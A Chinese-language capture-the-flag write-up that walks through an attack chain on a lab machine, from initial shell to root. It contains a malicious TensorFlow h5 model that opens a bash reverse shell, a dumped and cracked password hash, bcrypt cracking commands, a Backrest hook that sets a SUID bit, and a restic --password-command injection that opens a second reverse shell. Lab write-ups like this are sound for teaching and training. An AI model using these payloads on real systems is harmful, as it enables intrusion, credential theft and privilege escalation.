利用TensorFlow反序列化漏洞与Backrest提权实战

本文详细记录了从TensorFlow模型上传功能中的反序列化漏洞获取初始shell,通过破解数据库哈希横向移动到gael用户,最终利用Backrest备份系统的多种方式实现root权限提升的完整攻击链。

初始侦察

端口扫描

nmap扫描发现两个开放端口:

  • SSH (22)
  • HTTP (80)
1
2
nmap -p- -vvv --min-rate 10000 10.10.11.74
nmap -p 22,80 -sCV 10.10.11.74

网站重定向到artificial.htb,将其添加到/etc/hosts文件。

网站分析 - TCP 80

技术栈识别

网站是一个AI"赋能"平台,使用TensorFlow运行模型。技术要求文件显示:

1
tensorflow-cpu==2.13.1

Dockerfile配置了相应的Python 3.8和TensorFlow环境。

目录爆破

使用feroxbuster未发现有趣路径。

获取app用户shell

漏洞识别

TensorFlow 2.13.1在保存和加载h5模型文件时存在反序列化漏洞,允许远程代码执行。

载荷生成

创建恶意TensorFlow模型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import tensorflow as tf

def exploit(x):
    import os
    os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

执行利用

上传恶意h5文件后,点击"View Predictions"触发反向shell连接。

横向移动到gael用户

数据库枚举

在instance/users.db中发现用户哈希:

1
2
id|username|email|password
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8

使用CrackStation破解MD5哈希,得到gael用户的密码。

提权到root

本地服务发现

发现本地监听服务:

  • 5000: Flask应用
  • 9898: Backrest备份服务

Backrest配置获取

从/var/backups/backrest_backup.tar.gz中提取配置:

  • jwt-secret文件
  • config.json包含base64编码的bcrypt哈希

密码破解

解码并破解bcrypt哈希:

1
2
echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d
hashcat -m 3200 backrest.hash rockyou.txt

提权方法

方法1:通过SSH密钥

  1. 创建Backrest仓库和计划
  2. 备份/root目录
  3. 通过快照浏览器下载文件
  4. 获取root的SSH私钥

方法2:通过钩子命令

在备份计划中添加命令钩子:

1
2
3
4
{
  "command": "chmod u+s /tmp/0xdf",
  "conditions": ["pre-backup", "post-backup", "pre-restore", "post-restore", "failure"]
}

方法3:通过Restic命令注入

在"Run Command"中执行:

1
check --password-command 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"'

三种方法均能成功获取root权限,完成整个渗透测试过程。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计